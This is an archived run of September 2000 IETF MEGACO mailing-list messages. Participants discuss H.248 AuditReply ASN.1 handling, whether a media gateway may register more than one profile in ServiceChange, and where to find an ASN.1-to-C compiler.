X-Mailer: Mozilla 4.5 [en]C-CCK-MCD {TLC;RETAIL}  (WinNT; U)
X-Accept-Language: en
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Message-ID:  <39B64C1E.1AFED152@chiplogic.com>
Date:         Wed, 6 Sep 2000 19:22:30 +0530
Reply-To: SSM <ssm@CHIPLOGIC.COM>
Sender: "Media Gateway Control (megaco)"              <MEGACO@STANDARDS.NORTELNETWORKS.COM>
From: SSM <ssm@CHIPLOGIC.COM>
Organization: CHIPLOGIC
Subject:      Question on AuditValue
To: MEGACO@STANDARDS.NORTELNETWORKS.COM
Content-Transfer-Encoding: 7bit

Hi,
In case of a AuditValue command with (reference: table in 7.2.5 )
ContextID = ALL
TerminationID = Root,
the AuditReply should list all the contextIds .

If we see the ASN.1 for AuditReply, there is no provision for contextId
list .

    AuditReply ::= SEQUENCE
   {
        terminationID           TerminationID,
        auditResult             AuditResult,
        ...
   }

   AuditResult ::= CHOICE
   {
        contextAuditResult      TerminationIDList,
        terminationAuditResult  TerminationAudit
   }

So how can this be achieved ?

Thanks in advance
-sanjeev


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Wed Sep  6 09:58:26 2000
Received: from standards.nortelnetworks.com (h16s32a234n47.user.nortelnetworks.com [47.234.32.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id JAA12496
	for <megaco-archive@LISTS.IETF.ORG>; Wed, 6 Sep 2000 09:58:17 -0400 (EDT)
Received: from standards (47.234.32.16:2575) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP id <0.FFB90ABB@standards.nortelnetworks.com>; Wed, 6 Sep 2000 9:43:20 -0400
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 19856 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Wed, 6 Sep 2000 09:43:20 -0400
Received: from mailman.cisco.com by standards.nortelnetworks.com (LSMTP for
          Windows NT v1.1b) with SMTP id
          <0.FFB90ABA@standards.nortelnetworks.com>; Wed, 6 Sep 2000 9:43:20
          -0400
Received: from cisco.com (ssh.cisco.com [171.69.10.34]) by mailman.cisco.com
          (8.9.3/8.9.1) with ESMTP id GAA16023; Wed, 6 Sep 2000 06:56:16 -0700
          (PDT)
X-Mailer: Mozilla 4.72 [en] (WinNT; I)
X-Accept-Language: en
MIME-Version: 1.0
References: <200009061318.JAA03992@world.std.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Message-ID:  <39B64E0A.4A0D22DC@cisco.com>
Date:         Wed, 6 Sep 2000 10:00:42 -0400
Reply-To: Flemming Andreasen <fandreas@CISCO.COM>
Sender: "Media Gateway Control (megaco)"              <MEGACO@STANDARDS.NORTELNETWORKS.COM>
From: Flemming Andreasen <fandreas@CISCO.COM>
Organization: Cisco Systems
Subject:      Re: Profiles in Service Change
X-To:         Michael P DiGioia <mpd@WORLD.STD.COM>
X-cc:         Christian Groves <Christian.Groves@ERICSSON.COM>,
              "Rosen, Brian" <Brian.Rosen@MARCONI.COM>
To: MEGACO@STANDARDS.NORTELNETWORKS.COM
Content-Transfer-Encoding: 7bit

Michael P DiGioia wrote:

> Brian,
>
> > > So does that mean that nobody can make an MG which supports more than
> > > one profile? :-)
>
> >One way to get around the limitation is to try to get
> >service using the most "featurefull" profile.  If you fail
> >to find an MGC that can serve that profile, try again with
> >a different profile.
>
> I agree. I believe the point is that any one MG can support one or more
> profile, however, once the most featurefull profile is found to be accepted
> by an MGC, use it.

I disagree as Brian's comments assumes a meaningful ordering relation between
(at least a resonable subset of) profiles based on some set of features
supported. I don't see that. Christian's proposal of allowing a listing of
profiles seemed pretty good to me - what was wrong with this again ?

-- Flemming

>
>
> What we build into our IpPhone MG is our choice. I don't believe this limits
> us in any way. If so, how?
>
> /mpd

--
Flemming Andreasen
Cisco Systems


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Wed Sep  6 10:03:05 2000
Received: from standards.nortelnetworks.com (h16s32a234n47.user.nortelnetworks.com [47.234.32.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA12679
	for <megaco-archive@LISTS.IETF.ORG>; Wed, 6 Sep 2000 10:03:02 -0400 (EDT)
Received: from standards (47.234.32.16:2575) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP id <0.FFB90AD8@standards.nortelnetworks.com>; Wed, 6 Sep 2000 9:47:57 -0400
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 19892 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Wed, 6 Sep 2000 09:47:57 -0400
Received: from qhars002.nortel.com (47.101.112.102:42294) by
          standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP
          id <0.FFB90AD7@standards.nortelnetworks.com>; Wed, 6 Sep 2000 9:47:57
          -0400
Received: from smtprch1.nortel.com (actually erchg0j) by qhars002.nortel.com;
          Wed, 6 Sep 2000 15:00:11 +0100
Received: from zrchb213.us.nortel.com (actually zrchb213) by
          smtprch1.nortel.com; Wed, 6 Sep 2000 08:54:36 -0500
Received: by zrchb213.us.nortel.com with Internet Mail Service (5.5.2652.35) id
          <R5FC0XW2>; Wed, 6 Sep 2000 08:52:12 -0500
X-Mailer: Internet Mail Service (5.5.2652.35)
Message-ID:  <28560036253BD41191A10000F8BCBD11480D25@zcard00g.ca.nortel.com>
Date:         Wed, 6 Sep 2000 08:52:07 -0500
Reply-To: Tom-PT Taylor <taylor@NORTELNETWORKS.COM>
Sender: "Media Gateway Control (megaco)"              <MEGACO@STANDARDS.NORTELNETWORKS.COM>
From: Tom-PT Taylor <taylor@NORTELNETWORKS.COM>
Subject:      Re: ASN.1 compiler
X-To:         Paraskevopoulos Pavlos <ppar@INTRANET.GR>
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

Henning Schulzrinne provides a list of available compilers at
http://www.cs.columbia.edu/~hgs/internet/asn.1.html

> -----Original Message-----
> From: Paraskevopoulos Pavlos [mailto:ppar@INTRANET.GR]
> Sent: Wednesday, September 06, 2000 7:28 AM
> To: MEGACO@STANDARDS.NORTELNETWORKS.COM
> Subject: ASN.1 compiler
>
>
> Hi,
>
> I wonder if someone could inform me, where to find a ASN.1 to
> C compiler?
>
> Thank you in advance.
>


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Wed Sep  6 10:08:02 2000
Received: from standards.nortelnetworks.com (h16s32a234n47.user.nortelnetworks.com [47.234.32.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA12771
	for <megaco-archive@LISTS.IETF.ORG>; Wed, 6 Sep 2000 10:07:59 -0400 (EDT)
Received: from standards (47.234.32.16:2575) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP id <0.FFB90AFF@standards.nortelnetworks.com>; Wed, 6 Sep 2000 9:51:08 -0400
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 19943 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Wed, 6 Sep 2000 09:51:08 -0400
Received: from qhars002.nortel.com (47.101.112.102:42742) by
          standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP
          id <0.FFB90AFE@standards.nortelnetworks.com>; Wed, 6 Sep 2000 9:51:08
          -0400
Received: from smtprch2.nortel.com (actually erchg0k) by qhars002.nortel.com;
          Wed, 6 Sep 2000 15:03:50 +0100
Received: from zrchb213.us.nortel.com (actually zrchb213) by
          smtprch2.nortel.com; Wed, 6 Sep 2000 08:57:21 -0500
Received: by zrchb213.us.nortel.com with Internet Mail Service (5.5.2652.35) id
          <R5FC0YD8>; Wed, 6 Sep 2000 09:01:01 -0500
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2652.35)
Content-Type: multipart/alternative;
              boundary="----_=_NextPart_001_01C0180A.DB168680"
X-Orig: <blather@americasm01.nt.com>
Message-ID:  <353093573B82D411889E0000F808216648E334@zcard00q.ca.nortel.com>
Date:         Wed, 6 Sep 2000 09:00:47 -0500
Reply-To: Peter Blatherwick <blather@NORTELNETWORKS.COM>
Sender: "Media Gateway Control (megaco)"              <MEGACO@STANDARDS.NORTELNETWORKS.COM>
From: Peter Blatherwick <blather@NORTELNETWORKS.COM>
Subject:      Re: Profiles in Service Change
X-To:         "Rosen, Brian" <Brian.Rosen@MARCONI.COM>
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_001_01C0180A.DB168680
Content-Type: text/plain;
        charset="iso-8859-1"

Like Brian, I'm not sure we aren't all actually saying nearly the same thing
in different ways.

The confusion happens when an MG attempts to use more than one profile
within any particular control association with an MGC (corresponds to
Service Change registration).  For an MG to support more than one profile,
registering only one at a time through ServiceChange, is not a problem
(solves multiple carrier-specific profiles and also multi-purpose MG Brian
points to).  For an MG device to support multiple virtual MGs, each with
different single profiles at any given time is also not a problem (another
way to solve multi-purpose MG).  MGCs can certainly support multiple
profiles, no problem there either as long as the SW keeps a clean
separation.

Confusion only occurs when there is more than one profile in operation at a
time between MGC-MG pairs.  Allowing this I think will lead to trouble at
least until clean, clear profile definition rules are defined.  (Even then
I'm not entirely convinced.)  Your proposed change, as I understood it,
would allow for multiple profiles to be registered by the MG side at
ServiceChange, hence I do not agree we should do that in the Implementer's
Guide.  Would like some basic discussion of above points captured though.

-- Peter

-----Original Message-----
From: Rosen, Brian [mailto:Brian.Rosen@MARCONI.COM]
Sent: Wednesday, September 06, 2000 07:42
To: MEGACO@STANDARDS.NORTELNETWORKS.COM
Subject: Re: Profiles in Service Change


Actually, except for the unfortunate plan to develop an
profile for BICC, I think you are proving my point.
A trunk gateway conforming to the MSF Trunk Gateway Profile
could be used by an MGC that used any of your listed protocols
to communicate with another MGC.  The idea that the MG should
have to know what the interMGC protocol is strikes me
as a VERY bad idea.

The IPphone is an MG profile, and a phone conforming to the
Ipphone profile could be used with an MGC that used H.323,
SIP, BICC or other interMGC protocols.

I do believe that there will be some "private" profiles.
A carrier for example, might develop a profile, and demand
that vendors conform to it.  That might lead a vendor to
support more than one profile in an MG, but I suspect that
such use will depend on a lot of provisioning anyway, and
will thus not be a problem for the MG.  I also suspect there
will be a couple of competing profiles for common gateway
types, which might cause some confusion for a while.

Finally, I suspect that many vendors will have private profiles
which would make use of some special capabilities, but are otherwise
supersets of a more "standard" profiles.  If such
vendors can get MGCs to support them, fine.  Otherwise
such profiles will not fare well in the market.

One way to get around the limitation is to try to get
service using the most "featurefull" profile.  If you fail
to find an MGC that can serve that profile, try again with
a different profile.

Brian

> -----Original Message-----
> From: Christian Groves [mailto:Christian.Groves@ericsson.com]
> Sent: Wednesday, September 06, 2000 12:36 AM
> To: Rosen, Brian
> Cc: MEGACO@STANDARDS.NORTELNETWORKS.COM
> Subject: Re: Profiles in Service Change
>
>
> G'Day Brian,
>
> So does that mean that nobody can make an MG which supports more than
> one profile? :-)
>
> This seems to be a pretty big limitation to me. I know
> several companies
> are developing MGs that are capable of being used in many different
> scenarios. If one MGC can support H323-SIP, Sip-BICC, BICC-ISUP, VoDSL
> Access, IpPhone, BICC-3gPP and the permutations of these I
> don't see why
> the MG can only support one profile. I don't see that the
> development of
> one profile to support all these possibilities is realistic
> but I do see
> that a MG could support as these different accesses.
>
> In the real world MGs will support multiple profiles and I
> think we need
> to give advise in the Implementor's guide how this fits in with the
> limited profile mechanism we have in H248v1.
>
> Cheers, Christian
>
> "Rosen, Brian" wrote:
> >
> > I do NOT consider it to be an error, and I think the whole idea
> > of Profile is that an MG implements one.  The MGC, of course,
> > can implement many (if it serves several kinds of gateways).
> >
> > While such a restriction could lead to lots of private profiles,
> > it could also lead to a few commonly implemented profiles.
> > The package mechanism is a wonderful thing, but it leads to
> > lots of options, which leads to incompatible MGs and MGCs.
> > Profiles are the way to group options into implement able sets
> > so that MGs and MGCs can interoperate.
> >
> > If you have multiple profiles, then you might as well just
> > have no profiles - the ServiceChange could return the package list.
> >
> > Brian
> >
> > > -----Original Message-----
> > > From: Christian Groves [mailto:Christian.Groves@ERICSSON.COM]
> > > Sent: Monday, September 04, 2000 8:58 PM
> > > To: MEGACO@STANDARDS.NORTELNETWORKS.COM
> > > Subject: Profiles in Service Change
> > >
> > >
> > > G'Day all,
> > >
> > > I discussion on another email exploder (MSF) it was pointed
> > > out that the
> > > ServiceChange only supports one profile to be returned. I
> would have
> > > thought that a MG could support more than one profile.
> > >
> > > Do people consider this to be an error to be updated in the
> > > implementor's guide?
> > >
> > >
> > > If so the following changes probably would be necessary.
> > >
> > > 7.2.8 ServiceChange
> > > The optional ServiceChangeProfile parameter specifies the
> Profile[/s]
> > > (if any) of the protocol supported.  The
> ServiceChangeProfile includes
> > > the version of the profile supported.
> > >
> > > A.2
> > > ServiceChangeParm ::= SEQUENCE
> > > {
> > >         serviceChangeMethod     ServiceChangeMethod,
> > >         serviceChangeAddress    ServiceChangeAddress OPTIONAL,
> > >         serviceChangeVersion    INTEGER(0..99) OPTIONAL,
> > > >>      serviceChangeProfile    SEQUENCE OF
> > > ServiceChangeProfile OPTIONAL,
> > >         serviceChangeReason     Value,
> > >         serviceChangeDelay      INTEGER(0..4294967295) OPTIONAL,
> > >                                     -- 32 bit unsigned integer
> > >         serviceChangeMgcId      MId OPTIONAL,
> > >         timeStamp               TimeNotation OPTIONAL,
> > >         nonStandardData         NonStandardData OPTIONAL,
> > >         ...
> > > }
> > >
> > > ServiceChangeResParm ::= SEQUENCE
> > > {
> > >         serviceChangeMgcId      MId OPTIONAL,
> > >         serviceChangeAddress    ServiceChangeAddress OPTIONAL,
> > >         serviceChangeVersion    INTEGER(0..99) OPTIONAL,
> > > >>      serviceChangeProfile    SEQUENCE OF
> > > ServiceChangeProfile OPTIONAL,
> > >         ...
> > > }
> > >
> > > B.2
> > > >>      serviceChangeProfile = ProfileToken EQUAL NAME
> SLASH Version
> > >
> > >
> > > Cheers, Christian
> > >
>
>

------_=_NextPart_001_01C0180A.DB168680
Content-Type: text/html;
        charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2//EN">
<HTML>
<HEAD>
<META HTTP-EQUIV=3D"Content-Type" CONTENT=3D"text/html; =
charset=3Diso-8859-1">
<META NAME=3D"Generator" CONTENT=3D"MS Exchange Server version =
5.5.2652.35">
<TITLE>RE: Profiles in Service Change</TITLE>
</HEAD>
<BODY>

<P><FONT SIZE=3D2>Like Brian, I'm not sure we aren't all actually =
saying nearly the same thing in different ways.&nbsp; </FONT>
</P>

<P><FONT SIZE=3D2>The confusion happens when an MG attempts to use more =
than one profile within any particular control association with an MGC =
(corresponds to Service Change registration).&nbsp; For an MG to =
support more than one profile, registering only one at a time through =
ServiceChange, is not a problem (solves multiple carrier-specific =
profiles and also multi-purpose MG Brian points to).&nbsp; For an MG =
device to support multiple virtual MGs, each with different single =
profiles at any given time is also not a problem (another way to solve =
multi-purpose MG).&nbsp; MGCs can certainly support multiple profiles, =
no problem there either as long as the SW keeps a clean =
separation.&nbsp; </FONT></P>

<P><FONT SIZE=3D2>Confusion only occurs when there is more than one =
profile in operation at a time between MGC-MG pairs.&nbsp; Allowing =
this I think will lead to trouble at least until clean, clear profile =
definition rules are defined.&nbsp; (Even then I'm not entirely =
convinced.)&nbsp; Your proposed change, as I understood it, would allow =
for multiple profiles to be registered by the MG side at ServiceChange, =
hence I do not agree we should do that in the Implementer's =
Guide.&nbsp; Would like some basic discussion of above points captured =
though.&nbsp; </FONT></P>

<P><FONT SIZE=3D2>-- Peter</FONT>
</P>

<P><FONT SIZE=3D2>-----Original Message-----</FONT>
<BR><FONT SIZE=3D2>From: Rosen, Brian [<A =
HREF=3D"mailto:Brian.Rosen@MARCONI.COM">mailto:Brian.Rosen@MARCONI.COM</=
A>]</FONT>
<BR><FONT SIZE=3D2>Sent: Wednesday, September 06, 2000 07:42</FONT>
<BR><FONT SIZE=3D2>To: MEGACO@STANDARDS.NORTELNETWORKS.COM</FONT>
<BR><FONT SIZE=3D2>Subject: Re: Profiles in Service Change</FONT>
</P>
<BR>

<P><FONT SIZE=3D2>Actually, except for the unfortunate plan to develop =
an</FONT>
<BR><FONT SIZE=3D2>profile for BICC, I think you are proving my =
point.</FONT>
<BR><FONT SIZE=3D2>A trunk gateway conforming to the MSF Trunk Gateway =
Profile</FONT>
<BR><FONT SIZE=3D2>could be used by an MGC that used any of your listed =
protocols</FONT>
<BR><FONT SIZE=3D2>to communicate with another MGC.&nbsp; The idea that =
the MG should</FONT>
<BR><FONT SIZE=3D2>have to know what the interMGC protocol is strikes =
me</FONT>
<BR><FONT SIZE=3D2>as a VERY bad idea.</FONT>
</P>

<P><FONT SIZE=3D2>The IPphone is an MG profile, and a phone conforming =
to the</FONT>
<BR><FONT SIZE=3D2>Ipphone profile could be used with an MGC that used =
H.323,</FONT>
<BR><FONT SIZE=3D2>SIP, BICC or other interMGC protocols.</FONT>
</P>

<P><FONT SIZE=3D2>I do believe that there will be some =
&quot;private&quot; profiles.</FONT>
<BR><FONT SIZE=3D2>A carrier for example, might develop a profile, and =
demand</FONT>
<BR><FONT SIZE=3D2>that vendors conform to it.&nbsp; That might lead a =
vendor to</FONT>
<BR><FONT SIZE=3D2>support more than one profile in an MG, but I =
suspect that</FONT>
<BR><FONT SIZE=3D2>such use will depend on a lot of provisioning =
anyway, and</FONT>
<BR><FONT SIZE=3D2>will thus not be a problem for the MG.&nbsp; I also =
suspect there</FONT>
<BR><FONT SIZE=3D2>will be a couple of competing profiles for common =
gateway</FONT>
<BR><FONT SIZE=3D2>types, which might cause some confusion for a =
while.</FONT>
</P>

<P><FONT SIZE=3D2>Finally, I suspect that many vendors will have =
private profiles</FONT>
<BR><FONT SIZE=3D2>which would make use of some special capabilities, =
but are otherwise</FONT>
<BR><FONT SIZE=3D2>supersets of a more &quot;standard&quot; profiles.&nb=
sp; If such</FONT>
<BR><FONT SIZE=3D2>vendors can get MGCs to support them, fine.&nbsp; =
Otherwise</FONT>
<BR><FONT SIZE=3D2>such profiles will not fare well in the =
market.</FONT>
</P>

<P><FONT SIZE=3D2>One way to get around the limitation is to try to =
get</FONT>
<BR><FONT SIZE=3D2>service using the most &quot;featurefull&quot; =
profile.&nbsp; If you fail</FONT>
<BR><FONT SIZE=3D2>to find an MGC that can serve that profile, try =
again with</FONT>
<BR><FONT SIZE=3D2>a different profile.</FONT>
</P>

<P><FONT SIZE=3D2>Brian</FONT>
</P>

<P><FONT SIZE=3D2>&gt; -----Original Message-----</FONT>
<BR><FONT SIZE=3D2>&gt; From: Christian Groves [<A =
HREF=3D"mailto:Christian.Groves@ericsson.com">mailto:Christian.Groves@er=
icsson.com</A>]</FONT>
<BR><FONT SIZE=3D2>&gt; Sent: Wednesday, September 06, 2000 12:36 =
AM</FONT>
<BR><FONT SIZE=3D2>&gt; To: Rosen, Brian</FONT>
<BR><FONT SIZE=3D2>&gt; Cc: MEGACO@STANDARDS.NORTELNETWORKS.COM</FONT>
<BR><FONT SIZE=3D2>&gt; Subject: Re: Profiles in Service Change</FONT>
<BR><FONT SIZE=3D2>&gt;</FONT>
<BR><FONT SIZE=3D2>&gt;</FONT>
<BR><FONT SIZE=3D2>&gt; G'Day Brian,</FONT>
<BR><FONT SIZE=3D2>&gt;</FONT>
<BR><FONT SIZE=3D2>&gt; So does that mean that nobody can make an MG =
which supports more than</FONT>
<BR><FONT SIZE=3D2>&gt; one profile? :-)</FONT>
<BR><FONT SIZE=3D2>&gt;</FONT>
<BR><FONT SIZE=3D2>&gt; This seems to be a pretty big limitation to me. =
I know</FONT>
<BR><FONT SIZE=3D2>&gt; several companies</FONT>
<BR><FONT SIZE=3D2>&gt; are developing MGs that are capable of being =
used in many different</FONT>
<BR><FONT SIZE=3D2>&gt; scenarios. If one MGC can support H323-SIP, =
Sip-BICC, BICC-ISUP, VoDSL</FONT>
<BR><FONT SIZE=3D2>&gt; Access, IpPhone, BICC-3gPP and the permutations =
of these I</FONT>
<BR><FONT SIZE=3D2>&gt; don't see why</FONT>
<BR><FONT SIZE=3D2>&gt; the MG can only support one profile. I don't =
see that the</FONT>
<BR><FONT SIZE=3D2>&gt; development of</FONT>
<BR><FONT SIZE=3D2>&gt; one profile to support all these possibilities =
is realistic</FONT>
<BR><FONT SIZE=3D2>&gt; but I do see</FONT>
<BR><FONT SIZE=3D2>&gt; that a MG could support as these different =
accesses.</FONT>
<BR><FONT SIZE=3D2>&gt;</FONT>
<BR><FONT SIZE=3D2>&gt; In the real world MGs will support multiple =
profiles and I</FONT>
<BR><FONT SIZE=3D2>&gt; think we need</FONT>
<BR><FONT SIZE=3D2>&gt; to give advise in the Implementor's guide how =
this fits in with the</FONT>
<BR><FONT SIZE=3D2>&gt; limited profile mechanism we have in =
H248v1.</FONT>
<BR><FONT SIZE=3D2>&gt;</FONT>
<BR><FONT SIZE=3D2>&gt; Cheers, Christian</FONT>
<BR><FONT SIZE=3D2>&gt;</FONT>
<BR><FONT SIZE=3D2>&gt; &quot;Rosen, Brian&quot; wrote:</FONT>
<BR><FONT SIZE=3D2>&gt; &gt;</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; I do NOT consider it to be an error, and I =
think the whole idea</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; of Profile is that an MG implements =
one.&nbsp; The MGC, of course,</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; can implement many (if it serves several =
kinds of gateways).</FONT>
<BR><FONT SIZE=3D2>&gt; &gt;</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; While such a restriction could lead to =
lots of private profiles,</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; it could also lead to a few commonly =
implemented profiles.</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; The package mechanism is a wonderful =
thing, but it leads to</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; lots of options, which leads to =
incompatible MGs and MGCs.</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; Profiles are the way to group options into =
implement able sets</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; so that MGs and MGCs can =
interoperate.</FONT>
<BR><FONT SIZE=3D2>&gt; &gt;</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; If you have multiple profiles, then you =
might as well just</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; have no profiles - the ServiceChange could =
return the package list.</FONT>
<BR><FONT SIZE=3D2>&gt; &gt;</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; Brian</FONT>
<BR><FONT SIZE=3D2>&gt; &gt;</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; -----Original Message-----</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; From: Christian Groves [<A =
HREF=3D"mailto:Christian.Groves@ERICSSON.COM">mailto:Christian.Groves@ER=
ICSSON.COM</A>]</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; Sent: Monday, September 04, 2000 8:58 =
PM</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; To: =
MEGACO@STANDARDS.NORTELNETWORKS.COM</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; Subject: Profiles in Service =
Change</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt;</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt;</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; G'Day all,</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt;</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; I discussion on another email =
exploder (MSF) it was pointed</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; out that the</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; ServiceChange only supports one =
profile to be returned. I</FONT>
<BR><FONT SIZE=3D2>&gt; would have</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; thought that a MG could support more =
than one profile.</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt;</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; Do people consider this to be an =
error to be updated in the</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; implementor's guide?</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt;</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt;</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; If so the following changes probably =
would be necessary.</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt;</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; 7.2.8 ServiceChange</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; The optional ServiceChangeProfile =
parameter specifies the</FONT>
<BR><FONT SIZE=3D2>&gt; Profile[/s]</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; (if any) of the protocol =
supported.&nbsp; The</FONT>
<BR><FONT SIZE=3D2>&gt; ServiceChangeProfile includes</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; the version of the profile =
supported.</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt;</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; A.2</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; ServiceChangeParm ::=3D =
SEQUENCE</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; {</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; =
&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
serviceChangeMethod&nbsp;&nbsp;&nbsp;&nbsp; ServiceChangeMethod,</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; =
&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
serviceChangeAddress&nbsp;&nbsp;&nbsp; ServiceChangeAddress =
OPTIONAL,</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; =
&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
serviceChangeVersion&nbsp;&nbsp;&nbsp; INTEGER(0..99) OPTIONAL,</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; =
&gt;&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
serviceChangeProfile&nbsp;&nbsp;&nbsp; SEQUENCE OF</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; ServiceChangeProfile OPTIONAL,</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; =
&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
serviceChangeReason&nbsp;&nbsp;&nbsp;&nbsp; Value,</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; =
&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
serviceChangeDelay&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; INTEGER(0..4294967295) =
OPTIONAL,</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; =
&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&n=
bsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&n=
bsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&n=
bsp; -- 32 bit unsigned integer</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; =
&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
serviceChangeMgcId&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; MId OPTIONAL,</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; =
&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
timeStamp&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb=
sp;&nbsp;&nbsp;&nbsp; TimeNotation OPTIONAL,</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; =
&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
nonStandardData&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
NonStandardData OPTIONAL,</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; =
&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ...</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; }</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt;</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; ServiceChangeResParm ::=3D =
SEQUENCE</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; {</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb=
sp;&nbsp; serviceChangeMgcId&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; MId =
OPTIONAL,</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; =
&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
serviceChangeAddress&nbsp;&nbsp;&nbsp; ServiceChangeAddress =
